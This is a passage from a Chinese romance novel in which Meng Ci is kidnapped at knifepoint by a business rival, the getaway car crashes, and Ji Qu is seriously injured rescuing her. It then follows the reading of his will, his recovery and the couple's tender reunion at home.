他呆了一会儿,然后突然笑了起来,拉了把凳子坐下,荡起一片尘土,呛的孟慈咳嗽几声。 “怎么?环境很差吧孟总?但是我小时候就是这么过来的。”石骏廷又点了根烟,“反正等着也是等着,我和你聊聊我的故事?” 孟慈所在的地点就是石骏廷曾经读过的小学。 因为师资力量短缺,日常是一到六年级的所有学生都在一个班级上课,老师教完这个年级再去教另外一个。 石骏廷从小就是佼佼者。 他经常还会代替老师去教比自己小的年级。 一直持续到初中,石骏廷考去了县城重点,经过刻苦学习,又考入重点高中。 高中三年,石骏廷没日没夜地学习,饿了就喝水,困了就用圆规扎自己,说到这儿他还给孟慈展示了自己满是疤痕的小臂。 石骏廷看着自己的疤痕,充满欣慰,“我考上了北城的重点大学,我是我们村这么多年第一个大学生,还是北城的大学,我爸高兴地杀了家里的鸡,摆了三天宴席。” “后来我在学校跟着老师认识了不少人,我老师你知道吧?就是李港奶奶,她可喜欢我了,过年还邀请我去她家吃饺子。” “所以我就借着她的高枝,四处找机会,四处推销自己,老天有眼,真让我闯出了一片天地,我带着我大四研究出来的专利,拉到了第一笔投资,收获了第一桶金。” 石骏廷越说越开心,他的人生仿佛在遇到季曲之前,一直是璀璨的。 “但是我毕业第二年,想去找季曲的公司合作,我们跟着其他公司一起竞标,一直到最后一轮,我们才被刷,其实我不生气,我只是想知道我们输在哪儿,这样才能在下一次赢回来,但是我一连堵了季曲一个月,他都不见我。” 石骏廷突然看向孟慈:“你是不是以为我就这么放弃了?我没有,我知道 人往上爬第一件需要丢掉的就是脸皮,所以我又四处求人牵线,终于在半年后获得了一次见面的机会,我拎着上万的礼品走到季曲跟前,问他我们哪里做得不好,能否指教一下。” 孟慈知道的,见季曲一面并非易事,所以自己和季曲的相遇,是偶然中的偶然。 “但是你猜怎么着?季曲上下扫了我一眼,就是那种淡淡的,没有什么情绪,连看不起都没有,就是单纯地看了我一眼,然后轻描淡写地说了句抱歉,转头就走了。” 石骏廷突然激动起来:“你知道吗?就是那种,好像你和他不会有什么关系,不值得他为你浪费时间和心思,因为他根本不会记得你。” 孟慈垂下眼,她无法共情。 毕竟她是特例。 “我辛苦挣扎,我努力拼搏,怎么在他们这种人眼里竟然还是蝼蚁一样?”石骏廷不知道什么时候已经走到孟慈身边,“所以我当时在安家的晚宴上看到你的那一刻,就知道,我能赢季曲的机会来了。” 孟慈听到这儿,抬起眼看向石骏廷,“你们的输赢,和我没关系。” “怎么没关系?”石骏廷笑得狰狞,“不说之前,季曲为你办公司,给你牵线喂项目,后来他还为了你和他妈决裂,还给你拍了颗价值连城的钻石。” “什么?”孟慈打断石骏廷,什么钻石? 石骏廷看到孟慈的反应,觉得更有趣,反问道:“你不知道啊?季曲飞到法国专门买了颗钻石,难道不是给你的?” 什么时候的事,孟慈根本不知情。 看到孟慈眼底的茫然,石骏廷好心解释道:“就是你和他分开的那年,好像是刚刚夏天?” 无法确定石骏廷言语的真假,毕竟人走到这个地步,什么话都说的出来。 孟慈定了定神,再次把视线放回面前的课桌上。 石骏廷也没再追问,孟慈知道也好不知道也好,反正和自己没什么关系。 “所以一会儿直播的时候,我会说,你是我的女朋友,是季曲横刀夺爱。”石骏廷说得很慢,确保孟慈都能听清,“你什么都不用说,呆在这儿就好。” 孟慈没忍住笑了一下,石骏廷是个聪明人,但是聪明过头,就成了蠢。 自己既然能为了一份尚未确定真伪的证据独自赴险,更会为了保护季曲的名声不配合石骏廷的计划。 看到孟慈浅浅的笑了一下,石骏廷被刺激到神经,“你笑什么?” 孟慈不答。 “你笑什么?” “我问你笑什么?!” 石骏廷受不了这种像是嘲讽的笑,显得自己好像很愚笨,他猛得上前握住孟慈的肩膀,力气大到似乎能把骨头捏碎,“说话!” “石骏廷!” 教室里出现第三个人的声音,石骏廷和孟慈回头去看。 季曲来了。 他的裤子上有很大块的泥泞,头发也乱了,没有造型的搭在额前,却遮不住他眼里的愤怒。 他站在教室门口,四周围着警察,石骏廷的额头正中央还有一个红点。 季曲口吻冰冷:“石骏廷,把孟慈放开。” 看到季曲的一瞬间,孟慈浑身紧绷的神经才松开,她扯着嘴角笑了笑,证明她没什么事。 石骏廷的手还卡在孟慈的肩膀上,他看着季曲,话却是对孟慈说的:“你看,他们这种人,生来就是富贵命,就是人上人,就连老天都站在他那边。” 孟慈忍住疼痛,轻声说:“不是的,在季曲来之前,信号就接通了。” 石骏廷不敢置信地看向孟慈,又扭头找到地上的信号接收器,蓝色的指示灯,有规律的闪动。 孟慈继续说:“只不过,我不会帮你,你让我说的话,我一句都不会说,你让我配合的事,我也一件都不会做,我和你来这儿,只是想确认你是不是真的有能威胁到他的东西。” “要是我真有呢?” “那我就尽力毁掉。”孟慈对上石骏廷几近疯狂的双目。 “就凭你?” 孟慈摇头:“我说了,我只是尽力,季曲不会因为你或者谁就掉下来的。” 越过石骏廷的身体,孟慈看向试图走过来的季曲。 有的人一辈子都不会掉落。 季曲就是其中一个。 石骏廷是聪明的,从青云跌至泥潭,他自然明白学懂了胳膊拧不过大腿的道理,所以他用出杀手锏,从衣袖里变出一把刻刀,架在孟慈的脖子上,贴着薄薄的皮肤,威胁着血管。 被石骏廷从凳子上一把拎起来,期间孟慈还撞上了身前的桌角,巨大的冲撞力让孟慈溢出一声闷哼。 桌子倒在季曲脚下,又荡起灰层,像是警匪片中的决斗戏码。 血腥残暴,又引人入胜。 石骏廷拒绝任何形式的谈判,他以孟慈的人身安全做为筹码,回到了自己的车上。 孟慈这次被安置在副驾驶的位置,手脚依旧被束缚。 石骏廷还把刀架在孟慈脖子上,皮不知道什么时候已经破了,渗出一些血。 孟慈调整呼吸节奏,尽量减少大幅度的起伏。 “所有车都不能跟,一直到我开出省界,就会放她下车。”石骏廷要了好几个麻袋的钱,摞在后座,以此作为自己东山再起的筹码。 季曲一众人留在破烂的院子里,眼睁睁看着石骏廷开车消失。 “跟吗?”李港看着崎岖的山路问。 赵一辰看着季曲的背影,不敢说话。 季曲过了很久,咬着牙根逼出一个字,“跟。” 警方早就在石骏廷的车上装了跟踪器。 根据雷达的移动,季曲等人始终保持着一段距离。 其实石骏廷根本没有伤人的胆量,虚张声势罢了。 但偏偏他带着孟慈,季曲不能让孟慈出一点差错。 北城的雨下了一夜,被西风吹到孟慈的头上,天空低垂而阴沉,压的人喘不过气。 开出十几公里后,石骏廷才收起刀,孟慈得以正常呼吸。 石骏廷没上公路,而是沿着乡村的小道逃窜。 随着雨珠落下,原本就崎岖不平的路更难开。 车子期间打滑几次,孟慈用手紧紧地把住身侧的车把,身子也跟着放低,摆出防撞的姿势。 雨越下越大,雨刮器一来一回只能维持两三秒的可见度。 石骏廷心下没底,不敢放慢速度,依旧保持一百一十迈以上的速度奔驰。 车顶棚被砸的发出连串巨响,还有轰鸣的雷,孟慈干脆低着头不敢往前看。 石骏廷双手把着方向盘,汗水顺着额头流在眼里也不敢伸手擦,只能上下眼皮努力挤挤。 冷汗越流越多,车内又愈发闷热,两只眼睛都要被汗水糊住,石骏廷忍到极限,终于用衣袖擦了下。 但是衣袖上也不干净,刚刚布置的时候沾满了灰尘,左眼这下干脆根本睁不开了。 本想让孟慈帮自己擦一下,但是又想到孟慈被自己绑着双手,可能有些困难。 但是总比停车自己来好。 石骏廷喊孟慈的名字:“帮我擦一下眼睛,旁边有纸。” 孟慈原本弓着背埋在副驾驶上,听到这儿才抬头看向石骏廷。 他确实双眼通红,左眼还紧闭着,脸颊上分不清是汗还是泪。 抽了张纸,孟慈抻直胳膊用两只手往石骏廷那边探,偏偏又是左眼。 石骏廷努力往孟慈这边转头,孟慈也用身体顶着安全带往前。 马上要够到时,意外发生了。 前面的雷击倒了一棵大树,直直地横在马路上。 石骏廷一直到跟前才看到,只能飞快地扭了一下把方向盘,在泥泞的路上,车子撞上电线杆。 “嘭”的一声,甚至压过了天上的雷。 雷达只能实时报点,没有监控车辆状态的功能。 起初大家只是发现石骏廷的车子停在原地不动了,还在猜测是不是开的太快爆胎了。 但是季曲却心下不安,他刚刚听到了一声巨大的雷鸣,几乎像是直接敲在他的耳膜上。 眼看着离石骏廷的点越来越近,警察不敢开了,怕石骏廷看到他们又会对孟慈做些什么。 季曲想都没想踩着油门冲到前列把车队甩到身后,李港和赵一辰跟着后面的车,连忙叫人跟上去。 走了大约十几分钟,季曲闻到了浓烈的汽油味,即使在泥土味重隐藏着。 他心下的不安感越来越重,甚至漫出一种窒息感,像是被人掐住喉咙。 雷达点越来越近,一片雾气蒙蒙中,季曲看到石骏廷的车子,车头深深的凹陷,车身斜立在路边,下方是陡峭的土坡,连着大片的农田。 车子悬半空,摇摇欲坠。 副驾驶的窗户已经被震碎了,有一双手无力地垂出来,腕子上是一副手铐,雨珠砸在那双纤细的手上又由指尖滴落,只不过落下来的时候,无色的雨变成了红色。 季曲开车冲过去的时候,李港和赵一辰才刚刚看清现场。 三两个呼吸间,季曲的车便撞上了那辆残破的皮卡。 皮卡原地打了半个圈,稳稳地停在了路中间。 季曲驾驶的那辆越野,则转了几个圈代替皮卡直直地栽进了田地。 一番天翻地覆,心脏在胸膛里努力跳动。 季曲听到自己的心跳,听到自己的呼吸,压制住想冲出来的五脏六腑,他努力撑开眼皮去看孟慈所在的那辆车。 很快地,季曲听到李港在自己耳边喊孟慈已经救出来了,让他清醒一些,不要睡过去。 季曲其实是看不到孟慈的,他开着车栽到了道路下方,怎么望也只能望到枯草和泥。 不过幸好啊。 幸好自己没把孟慈追回来,不然孟慈又该为了自己难过。 其实季曲是想解释的,在他与孟慈相处时无数次的闭口不提里。 他身边养着的那些女伴,他一次都没碰过她们,他只是在某些时刻里突然想到孟慈的脸。 季曲想起孟慈曾抱怨她和舍友间的矛盾摩擦,以至于她的衣服平白无故地会出现破口;想起孟慈曾抱怨自己没有安稳的家庭,以至于她过年过节总要惦记没人陪伴的那一方…… 他只是想,如果能有一个人,在自己触手不可及的地方,帮孟慈一把,就好了。 他其实是想和孟慈一起度过朝夕,岁岁年年都互相陪伴的。 季曲想起华婉每日应酬完公司事务完还要处理家里琐碎的疲惫面容,想起外界对于季家的关注与质疑,想起身边的失败婚姻对于女性的伤害。 所以他买了钻戒,购置了房产,带着孟慈四处迎来送往。 只等有一个合适的机会能让人们都知道不管有没有婚姻的绑架,孟慈始终都会是他的另一半。 他只是想,如果这个状态下的孟慈是快乐的,他没必要拿着两人的未来去冒未知的风险。 但是他忘记了问孟慈愿不愿意。 毕竟他最初没想到孟慈能对自己产生如此大的意义。 在反复的重逢、分离、相爱、陪伴中,季曲才认清自己的内心。 但是这些插曲,季曲并不想一一对孟慈辩解。 他始终认为做比说重要。 他始终认为当下比过去重要。 四溢的血液逐渐蔓延到季曲的脸上,流进他的眼眶,季曲的眼前逐渐被红吞没。 他甚至不敢再次追求孟慈,不敢像丁昊一样大大方方地站在孟慈身边。 他只敢凭借孟慈对自己的一点点心软,一点点心疼,一点点慈悲……胆小而努力地留在孟慈身旁。 红越染越大,越浸越深。 恍惚间,季曲看到了山顶上的满树红绸和树下的孟慈,自己站在她面前,轻巧却认真的说:“求个健康吧。 季曲听到自己的心跳越来越慢,听到自己的呼吸越来越浅,听到李港的喊声越来越远。 慈慈,爱情财富我都能给你,求个健康吧。 希望你健康平安。 第59章 第59章季曲立了两条遗嘱 在当地的医院完成急救,李港和赵一辰又找了北城的医疗团队飞过来进行会诊。 季曲断了两根肋骨,内脏受损。 孟慈则是轻伤,除了身上因为撞击而划出的伤口之外,她竟然是这场事故中受伤最小的那位。 经过撞击而造成了半日的晕厥,孟慈醒来后,季曲还在手术室。 手术持续了将近一天还多,季曲被推出来时,已经是第二天晚上。 季曲躺在病床上,皮肤白到近乎透明,双唇也失去颜色,像是流干了全身的血。 医疗团队给的意见是观察24小时后,等到彻底脱离危险再回北城。 季澈已经赶过来接手现场,李港和赵一辰先一步返回北城处理后续。 至于季家那边,季澈决定先瞒着。 孟慈坐在季曲的病床边,拉着他没扎输液管的手,眼睛眨也不眨地盯着季曲看,似乎季曲下一秒要消失一样。 季澈让人去休息,孟慈也只是摇头,说自己只是安静地坐着,不会给别人造成麻烦。 到了这一步,季澈也没法再劝,只能坐在另一边等待弟弟醒来。 过了一会儿,孙谦敲门进来,悄悄和季澈说了些话。 大概是石骏廷那边不太好,他伤得重,当地的医疗团队有些处理不了,警方那边问能不能借用一下他们的医疗团队。 其实石骏廷伤的没有这么重,是因为季曲后来的那下撞击,对他造成了二次伤害。 孟慈坐在病床前,断断续续地听着,心里愈发痛苦。 不知道季澈做了什么决定,孙谦离开之后她才转头问季澈,季曲需不需要为后来的二次撞击负责。 季澈也想到这一点,说:“是有些撞的太狠了,但是……” 孟慈等不到季澈说完便开口打断:“但他是为了救我。” “他是为了救我才这么做的。”孟慈说得艰难,眼泪不听话地跑出来,“要抓的话抓我好了,这一切是因为我。” 看着孟慈的泪不断滚落,季澈站起来抽了两张纸巾递给孟慈,“是我们家连累了你,你放心,季曲不会有事,还有我在这儿。” 季澈的沉稳给孟慈打了一剂强心针,但是过了24小时,季曲还是没醒。 于是病房里出现了不速之客。 罗律师出现在病房的时候,季澈都愣了一下,他连熬了两夜,神态疲惫。 作为季家律师团队的负责人,罗文不该这个时候出现在这里,除非…… 季澈问:“爸妈知道了?” 罗文摇摇头,从公文包里拿出一份文件:“我之前接到了季总的电话,他立了一份……遗嘱。” 孟慈原本正在给季曲擦手,她不关心病房里来了谁又走了谁,她只关心季曲什么时候好能睁开眼。 但是听到“遗嘱”两个字,她感觉自己浑身上下的血液好像都停止流动。 孟慈极为僵木地看向罗文,不敢置信地问:“遗嘱?” 罗文也对现状感到震惊与惋惜,但是出于职业操守,他必须完成季曲交代的工作。 于是,他在孟慈和季澈的注视下,念完了季曲在从石骏廷的小学到解救孟慈的路上,特地交代他的遗嘱内容。 “季总只交代了两条内容,一、如果他失去抢救的机会,或者死亡,所有的器官都优先供孟慈使用。” 罗文补充道:“因为季总已经昏迷了四十八小时,按照季总的要求,我需要提前来向大家告知遗嘱的第一项内容,不过既然孟慈没什么事,那么这条遗嘱其实起不到什么作用。” “他要给我他的器官?”孟慈的大脑仿佛已经死机。 季澈试图猜测弟弟的意图,他看着身 上也包裹着纱布的孟慈,好像懂了些什么,“……他可能,怕你有需要。” “我?”孟慈还是没懂。 季澈看着昏迷不醒的季曲说:“我们兄弟俩都签了死后捐赠器官的志愿书,他立遗嘱的时候一定已经想好了要豁出自己的命来救你,但是又不确定你会不会受到伤害,如果受到伤害又会严重到什么程度……他想用自己的一切先让你活着。” 孟慈感觉到自己已经麻木无力的心脏又开始紧缩着痛。 在她痛苦的同时,罗文又念出第二条遗嘱。 季曲名下的所有财产都归孟慈所有,并且这个程序要由季澈全程参与见证。 “他是怕季家剩下的人又会为难你,才让我看着。”季澈看着自己的弟弟,伤心又好笑,“我们又不是洪水猛兽,怎么就要防备成这样,我妈已经千分万分地后悔,他怎么还是这么害怕?” 孟慈的耳朵里已经再听不到任何一个字眼。 她坐回床边,握住季曲干瘦的手,无比痛苦地盼望他醒来,拜托他醒来,求求他醒来。 她什么都不需要,金银珠宝,身体生命。 她只是诚心诚意地求他平安- 两个月后 经过长时间治疗和修养,季曲大致恢复了百分之七十。 他住在与季亮鸿生前同层的病房,身旁是寸步不离的孟慈,每天除了吃饭睡觉,再没别的安排。 在看完今晚的偶像剧后,季曲的病床又被放平,他掀开自己左边的被子,冲着孟慈拍了拍床。 “不行。”孟慈怕压到季曲,冷言拒绝。 季曲坚持道:“没事的,床很大,你压不到我的。” “求求你了。”季曲用荡着笑意的眼盯住孟慈不放,昏暗的睡眠灯像只宣纸糊灯笼,衬得一切都温柔。 孟慈还是躺了下来,但她只占了小小的一道边,倒是季曲主动往过靠了靠。 拉过季曲的右手,孟慈用指腹在季曲的手心划,上面有一道寸长的疤。 因为是新的,还有些不同于周围的粉红色,但是最长的那道,在季曲的胸膛上,像是一把大刀直直地劈上去,留下深不见底的血窟窿。 季曲也没说话,他把下巴靠在孟慈的头顶,享受着来之不易的时刻。 看完右手,孟慈又拉过左手,这只就没有什么大的疤痕,都是细小的伤口。 完完整整地看过一遍,孟慈才小声开口:“对不起。” 季曲有些昏昏欲睡,因此没听清孟慈说的话,“什么?” “对不起。”孟慈放大音量,缓慢地重复,“我不应该自己一个人跑去见石骏廷,不应该不提前和你说,都是我太大意,才害你留了这么多的疤。” 季曲只能看到孟慈的侧脸,她也消瘦不少,“不怪你。” “对不起,其实我知道的,他很大可能根本没有你的把柄,不然他根本用不着迂回地找到我,大可以直接和你对峙,但是我就是怕,怕有个万一。” “虽然我知道我可能是杞人忧天,但是我没办法控制我自己,又给添你了麻烦。” 孟慈看着面前一双伤痕累累的手,满心都是亏欠。 季曲握紧孟慈的手,坚定地说:“我知道的,你那么聪明,只不过为了我而犯笨,是我没处理好自己的事,连累到了你,我家里的人都有自保的能力,偏偏只有你,不仅不受我们家里的保护,反而成为你的累赘。” 其实季曲早就忘了自己当时流了多少血,伤口有多疼,他只是想让孟慈平安。 孟慈还想说什么,但是又说不出来,语言组织能力完全消失,直到自己的头顶有些湿,孟慈才反应过来,自己把季曲弄得掉泪。 先是从季曲的怀里退出去,然后才能抬头看着季曲。 他还保持着那个姿势,一边的眼泪往下流入发间,另一边的在鼻梁处掬起小小湖泊,被光照得亮堂堂。 孟慈伸手去擦,嘴里反复只能念出一句对不起。 偏偏季曲也在说对不起。 明明都受了伤的两个人,却都在担心对方因为自己而伤的更重。 季荣宝和季芷来探病的时候季曲已经能在轮椅上被孟慈推着出去透气。 “恢复的怎么样?”季荣宝拿着一个纸袋,笑盈盈地往孟慈这边走。 孟慈看到来人,扭着轮椅换了方向,“大夫说再不久就能出院了。” 季曲看到自己家来人,有些担忧,怕对孟慈造成伤害,便说自己有些累了,试图让季荣宝和季芷快点离开,要知道季曲醒来后的半个月才让季澈和家里说了自己的事。 伤情只是模糊交代,主要了为了让家里人别来找自己和孟慈的麻烦。 但偏偏季荣宝和季芷没有眼色,还跟着两人回了病房。 季荣宝趁孟慈去卫生间的时间,小声问病床上的季曲打算什么时候回公司工作。 季曲两手一摊:“没这个打算。” 季荣宝真想把茶几上的水杯扔过去,她压着嗓子低吼,“我哥都要累死了!” “那你去帮他怎么样?”季曲不在意地说,顺便看了眼墙上的温度计,调整了空调温度。 “我哪会这些?”季荣宝这种时间就恨自己为什么不学商科学艺术。 季曲撇撇嘴,没一会儿孟慈便出来了。 “要不要让阿姨多送些饭来?”孟慈小声问季曲。 “姑姑啊。”季曲看了季荣宝一眼,“她们要走了,家里还有事,说下次再来看你。” 刚刚喝了一口茶水的季荣宝愣在原地:“?” 季曲面不改色地说谎,又给季芷递了一个眼神,季荣宝就这么被两个小辈配合着送出了病房。 客人离开后,经过熟悉的吃饭、洗漱、看剧流程后,季曲又到了睡觉的时间。 最近白昼越来越短,还没等干什么就已经已经黑漆漆的一片。 孟慈拉上薄纱,又拉上窗帘,才回到病床旁躺下。 自从那晚之后,季曲都会让孟慈躺在自己身边,反正床足够大。 每晚都要反复地看熟睡的孟慈,季曲才觉得心里踏实。 季曲在医院住了整整三个月,出院刚好赶上北城的第一场雪。 从医院大门出来上车,车子直接开到家门口才停下。 季曲被孟慈挽着胳膊进屋。 孟慈左右打量着,是一套没来过的新房子,问:“你新买的?” 季曲拿掉她头顶的雪粒,说:“很早就买了,一直没住过,这个房子离我公司近,离医院也近,院子里也宽敞。” 孟慈看了看四周,客厅的侧面有一扇巨大的落地玻璃,刚好能看到外面已经堆起来的雪。 孟慈有些心痒痒:“季曲。” 季曲坐在孟慈旁边,剥了只蜜桔,“嗯?” “我想出去看看院子。”孟慈伸出手指着窗户外面,亲昵地拉着季曲的手左右晃了晃。 季曲把橘子拆瓣送到孟慈嘴边,连着喂了半个,才说好。 两人穿好衣服,季曲牵着孟慈慢慢地走出去,后院很大,还有个小湖,里面的锦鲤正躲在盛满雪花的肥大荷叶下休息。 两个人在屋檐下站了一会,孟慈伸出手接了几片雪花,招手让季曲凑近看它的形状。 然后孟慈便求着季曲去外面堆雪人。 季曲原本是不许的,但架不住孟慈眼巴巴地望着,没一会儿便松了口说只能玩十分钟。 孟慈点头答应后便跑走了。 地上铺满新雪,还没有任何痕迹。 孟慈小心翼翼地踩上去,留下一个完整的脚印,然后她拿出手机给远在新西兰的裴沛拍了照片发过去,那边还是夏天。 收好手机,孟慈又把及膝的羽绒服拉起来几分,晃晃悠悠的蹲下,准备做一个小雪人。 还没等手碰到雪,季曲就变了副手套出来,蹲在孟慈身边给她带好,然后把她沾了地的围巾穗整理了一番。 隔着手套,孟慈总觉得雪球捏不圆,于是她转头看季曲,等着人帮忙。 季曲不用戴手套,他徒手在雪球上拍拍滚滚,没一会儿双手就变得通红,衬得指节处的几道白疤更加显眼。 孟慈突然就不想玩了,还没张嘴,院子里就出现了新的脚印。 “哇,小叔在堆雪人吗?”季欢倾不知道从哪冒出来,站在两人身后,手里还拿着一串糖葫芦。 季澈跟在后面,打着伞,倒不是怕冻到自己女儿,而是怕脏了那串一米长的糖葫芦。 季曲回头看了一眼:“你们家糖葫芦变异了?” 季欢倾踩着雪,“噔噔噔”地跑到季曲跟前,说:“咱们不是一个家?” 季曲看着他哥,问:“这么大雪去哪儿啊?” “回家看看妈,最近总是头疼。”季澈牵住季欢倾空着的那只手,怕她毁了季曲刚刚整得浑圆的雪球。 季曲捏了捏季欢倾的脸蛋,肉乎乎的,像个汤圆,“她是老毛病又犯了。” “可不是。”季澈拉着女儿后退一步,避开季曲,“爸最近在公司忙得脚不沾地,没人伺候她。” 季曲看着雪,没出声。 “不和你贫了,司机到了。”季澈看向孟慈,“我们家住的不远,没事了来吃饭。” 孟慈笑笑说好。 院子又只剩下两个人。 季曲问孟慈雪球够不够圆,准备开始做第二个,雪沾在他的黑色大衣上,凝成块。 孟慈摇摇头,拉着季曲的手放到自己怀里捂着,“不想玩了。” 季曲知道孟慈是在给自己捂暖,笑:“雪人不堆了?” 孟慈抬头看了眼灰蒙蒙的天:“反正一晚上也化不了,明天再继续好了。” 紧接着孟慈又说自己饿了,要喝排骨汤。 季曲自然答应。 出了院后,季曲可以开始吃些有调味的饭菜。 孟慈之前都和季曲同吃同住,现下也没忍住一口气连吃了五块糖醋小排,后果就是到了睡觉的点还撑得难受。 只能让季曲给自己揉肚子。 家里的床比医院的大两倍还多,孟慈躺在右侧,任由季曲给自己打圈按摩。 棉质的睡衣搓得皮肤发烫,季曲只能把手放进睡衣下面,贴着皮肤揉。 一来二去的,气氛竟然有些发烫。 孟慈原本有些鼓的肚子逐渐平了下去,但是自己身上有的地方却飞速地涨了起来。 季曲察觉到这一点,慢慢把手从孟慈睡衣里收回。 孟慈则没关注到这些,只是在想白天季澈的话,季曲好像真的变成甩手掌柜,彻底变成自己的专属。 因为想得太入迷,一直到季曲靠近,孟慈都没发现。 “想什么呢?这么认真?”季曲侧躺在孟慈身边,胳膊支起来撑着枕头。 孟慈也没遮掩,收回失了神的瞳孔,说:“你打算什么时候回去工作啊?” 季曲有些想笑:“我还以为你在想那串一米长的糖葫芦。” “怎么可能?我又不能吃。”孟慈不屑地说,过了几秒,又试探道,“我能吗?” 季曲失笑,说少吃点就没问题。 孟慈满意了,点了草莓、山楂和葡萄。 确认季曲不会反悔后,又问了一次刚刚的问题,季曲打算什么时候回去工作。 季曲摸着孟慈的脸,手感好的不得了。 “快了,总不能扔开太久。” “那就好。” “怎么?怕我丢了工作没钱养你?” 孟慈挥开季曲的手,说:“才不是。” 只是季家几代人打下来的事业,总不能因为自己出点什么差错。 就冲着季亮鸿去世的时候季曲被绊住脚没法赶回来,孟慈就知道季曲比自己更看重这些。 季曲看着孟慈装满心事的眼,宽慰道:“放心吧,而且我也答应老头子了,一定守好这些。” 床头的圆形玻璃灯洒出柔和的光,模糊了季曲锋利的脸部轮廓。 孟慈翻了个身,钻到季曲怀里,双腿一蜷,碰到了某处。 季曲被不轻不重的力量撞得哼了一声。 飞快地,孟慈反应过来现在已经不在医院,而是在季曲的家里。 怀中的人僵住了,季曲也没想怎样,拍了拍孟慈的后背,安抚几下,他掀开被子打算去浴室冲个冷水澡解决。 刚刚拉住被角,孟慈的手就覆盖上来,季曲低头,对上孟慈抬起的脸。 孟慈盯着季曲的嘴唇,缓慢地,轻轻地,吻了上去。 起初只是唇瓣相贴,孟慈睡前涂了唇膏,是淡淡的柚子味,很软。 季曲没涂唇膏,有些干,很燥,是北方冬季空调房里的通病。 孟慈眼睫微颤,她试着张了张嘴,舔了舔季曲的唇,试图把那些干涸润湿。 不过一两秒的时间,孟慈突然被摄住双唇,从主动变为被动,后脑勺被季曲扣住,无处躲藏。 季曲吻的深,每次到孟慈氧气用完的时候,会好心把人放开几秒,轻轻碰碰已经有些肿的唇瓣,等着孟慈像缺氧的鱼一样微微张着嘴吃过氧气后,再覆上去,拉着人再次沉底- 一直到浴室的水声暂停,孟慈的耳根才彻底退烧。 她侧躺着,感受到身边的床垫下陷,后背上多了另一种温度。 季曲贴上来,又不算近,给孟慈留下翻身的余地。 孟慈的呼吸很稳,一起一伏,好像真的睡着了一样。 季曲看着孟慈圆圆的后脑勺,没忍心拆穿,低头在孟慈的发顶吻了一下,轻轻地说了句得不到回复的晚安。 第60章 第60章借点唇膏 正式上班前,季曲还有件事需要处理,趁着安娜和邓姚来玩,季曲抽了半天的时间出去。 怕三人无聊,季曲请了美容师上门,做一次护肤,再吃一顿晚餐,足够他赶回来。 美容师们按照季曲叮嘱的,每一个步骤都做得慢又缓,几乎做满了三个小时。 服务结束后,三个人窝在地毯上吃刚刚出炉的甜点。 热乎乎的蛋挞上切了黄桃丁,孟慈没忍住吃了两个。 安娜没有这方面的顾虑,她属于天生的瘦子,怎么吃都不胖。 吃完第三个,安娜问:“季曲要上班了?” 孟慈拢了拢身上的披肩,最近天干,季曲怕人上火,没把空调温度调的过高。 “下周吧,孙谦这段时间给他送了不少文件来,堆了一书房。” 邓姚说:“那你多无聊,要不要我给你推荐点剧追?” 孟慈摇摇头:“他只去半天,然后就回家办公。” 安娜和邓姚对视一眼,在对方眼中看到了惊诧和羡艳。 季曲对孟慈的上心程度有眼睛的人都看得到。 安娜看了孟慈一眼,笑道:“我以后还得和季芷一样喊你句嫂子。” 孟慈用纸巾擦掉安娜嘴角的蛋糕渣:“瞎说什么。” 其实这次回来,孟慈和季曲都默契的没再提之前的事。 “我可没瞎说,这可是季曲的婚房,季家在季曲小的时候就买好了,和季澈的挨着一起。”安娜舀了块蛋糕喂给孟慈,“都不能用寸土寸金形容,反正我和赵一辰有钱肯定不往这儿砸。” 孟慈倒是不知道,她看向邓姚,邓姚也点了点头,所以这真的是季曲家准备的婚房。 厨师做了两种晚餐,一份正常放料给安娜,一份减半放料给孟慈,邓姚的晚餐是一份蔬菜汁。 安娜扫了一眼绿油油的液体,嫌弃道:“你不是开完演唱会了?” 邓姚看了老板娘一眼,站起身转圈展示自己的身材,“有我这么省心的艺人你还不满意?” 用小碗挑了些蔬菜,孟慈递给邓姚,“吃点菜没事的。” 邓姚把碗推开,说真的不用。 老板娘又发话:“我做主给你放一个月的假,快吃点,不然你都要瘦 死了,我每次看你走红毯都怕你营养不良倒在红毯上。” “年末全是典礼,请不了假。”邓姚喝了一口蔬菜汁,似乎被苦瓜冲到味蕾,皱了皱眉,“而且等明年开了春我要去参加李港的订婚典礼,总不能输吧。” 邓姚的眼睛又圆又大,亮晶晶的,但是现在,好像也被苦瓜刺激到失去颜色。 孟慈喝汤的手顿了一下,她不是没听说李港要结婚的事,毕竟和季曲同龄,早就该走入下一个阶段。 至于邓姚,她比自己还要小几岁,正是好颜色的时候,也难为她挥霍大把宝贵年华陪李港游荡。 吃完饭安娜先离开,赵一辰刚好在附近应酬,顺路就把安娜接走了,邓姚等着助理过来,又坐了十几分钟。 孟慈想把人送出去,邓姚说用不着,几步路而已,而且最近天冷,一进一出的小心生病。 再三纠缠,邓姚只同意孟慈站在屋门口目送自己离开。 这段时间在消雪,风一刮带着树顶的残雪飘飘洒洒的落下来,孟慈就看着邓姚消失在断续漂落的残雪中。 一直到门口的光束消失,孟慈才转身回屋,刚进屋坐下,季曲就踩着邓姚离开的脚步回来了。 孟慈转身跪在沙发上,胳膊撑着椅背,只露出一颗小小的头。 她笑笑:“回来啦?” 季曲一进家就被温暖的一幕击中心脏,蜜一般的暖流涌向四肢。 恍惚一瞬,季曲勾起嘴角,“嗯,是不是等很久,不好意思回来的晚了。” 孟慈的下巴搁在手背上,说:“给你留了晚饭,要不要吃?” 饭自然是没什么胃口的,季曲他大步走到孟慈面前,摸了摸孟慈的头顶,在对方甜蜜的注视下弯腰亲了亲孟慈的嘴唇。 是玫瑰花蜜的味道。 壁炉里的木柴烧成火星,炸在空气中,噼里啪啦的响,像是摩擦太过而生成的静电。 一直到孟慈缺氧,季曲才把人放开,绕到沙发前把人抱到自己的腿上,捋着孟慈的后背,让她缓一缓气。 孟慈有些晕,但是也绷着身子怕压到季曲的伤处。 季曲拿着孟慈的水杯喝了几口水,身上的寒气才彻底撤走。 温情脉脉的时刻,适合闲话家常。 季曲看着墙上的时钟,发现还有不到一个月就过年了。 “今年在哪过年?”季曲捏了捏孟慈的手。 孟慈还有些喘:“不知道。” “怎么不知道?” “我现在也是上班的人,春节假期一共七天,我妈说她应该会回来。” “和你过?”季曲特地“没眼色”地多问一句。 孟慈抬起眸看着季曲:“不知道,可能和我,也可能和钱叔叔。” 季曲心口一酸,伸手触到孟慈有些红粉的眼尾,轻轻刮蹭,“能不能和我过?” 孟慈被摸的有些痒,稍微扭头避了避,“你那一大家人子,还怕没人过年?” “不想和他们一起,没意思。”季曲被躲开也没恼,刮蹭的地方变成孟慈小巧白细的耳垂,上面有一个小小的耳洞。 季曲用指腹轻轻的捻。 没法回答,孟慈想换个话题,于是问季曲今天去了哪里。 “医院。” 